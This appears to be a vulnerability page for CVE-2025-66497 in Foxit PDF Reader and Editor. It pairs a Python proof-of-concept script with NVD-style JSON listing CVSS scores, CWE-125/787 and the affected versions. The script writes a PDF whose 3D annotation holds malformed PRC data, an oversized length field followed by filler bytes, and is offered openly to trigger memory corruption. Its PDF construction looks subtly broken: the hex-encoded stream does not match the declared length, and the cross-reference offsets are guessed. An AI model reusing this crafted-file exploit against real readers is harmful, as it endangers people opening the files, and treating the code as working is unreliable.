CVE-2025-66497

#!/usr/bin/env python3 # CVE-2025-66497 PoC - Malformed PRC data in PDF 3D annotation # This PoC generates a PDF file with malformed PRC data to trigger memory corruption import struct import sys def create_malformed_prc_data(): """ Create malformed PRC data that triggers boundary check failure in Foxit PDF Reader's 3D annotation parsing """ # PRC header with oversized data field prc_header = b'PRC1' # Malformed size field - causes buffer overflow prc_size = struct.pack('>I', 0xFFFFFFFF) # Oversized length # Malformed content with crafted data pattern prc_content = b'A' * 10000 + b'\xDE\xAD\xBE\xEF' * 100 return prc_header + prc_size + prc_content def create_poc_pdf(): """ Generate a minimal PDF with 3D annotation containing malformed PRC data """ malformed_prc = create_malformed_prc_data() # Basic PDF structure with 3D annotation pdf_content = f"""%PDF-1.7 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Annots [5 0 R] >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (CVE-2025-66497 Test) Tj ET endstream endobj 5 0 obj [ << /Type /Annot /Subtype /3D /Rect [0 0 612 792] /3DD {6 0 R} /3DV << /ON true >> >> ] endobj 6 0 obj << /Type /3D /Subtype /PRC /Length {len(malformed_prc)} >> stream {malformed_prc.hex()} endstream endobj xref 0 7 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000264 00000 n 0000000380 00000 n 0000000500 00000 n trailer << /Size 7 /Root 1 0 R >> startxref {700 + len(malformed_prc)} %%EOF""" return pdf_content if __name__ == '__main__': print('[+] Generating PoC PDF for CVE-2025-66497') pdf = create_poc_pdf() output_file = 'CVE-2025-66497-poc.pdf' with open(output_file, 'wb') as f: f.write(pdf.encode('latin-1')) print(f'[+] PoC PDF saved to: {output_file}') print('[!] Note: This PoC triggers memory corruption in Foxit PDF Reader')

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When opening a PDF file containing malformed or specially crafted PRC content, out-of-bounds memory access may occur, resulting in memory corruption."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.1.23955", "matchCriteriaId": "AAE67A0F-4DFE-4268-90D5-789CCA2155A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.33046", "versionEndIncluding": "14.0.1.33197", "matchCriteriaId": "F1694C31-1717-40B3-9E11-773E39F288A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.27937", "versionEndIncluding": "2025.2.1.33197", "matchCriteriaId": "4AC7F7F1-B05D-48C7-9DD3-CFC7CBA2E275"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.1.33197", "matchCriteriaId": "538915D1-1531-44A8-B15D-BCFE1356BCB5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.1.63315", "matchCriteriaId": "DF36C22F-253D-4ACE-A202-1BC66099FB43"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.33046", "versionEndIncluding": "14.0.1.69005", "matchCriteriaId": "4EAD777E-152E-4870-8CFD-10A4ED542409"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.63083", "matchCriteriaId": "8D41C109-FCCC-467D-AC01-37CE4106DC89"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.66479", "matchCriteriaId": "A5CE4481-BEBB-4646-B235-DCE82AEBD265"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.27937", "versionEndIncluding": "2025.2.1.69005", "matchCriteriaId": "B0778A96-55FD-452C-88F5-EE42D2D8CE49"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.1.69005", "matchCriteriaId": "83D931C5-F081-441F-8B29-4FDD7B32327A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}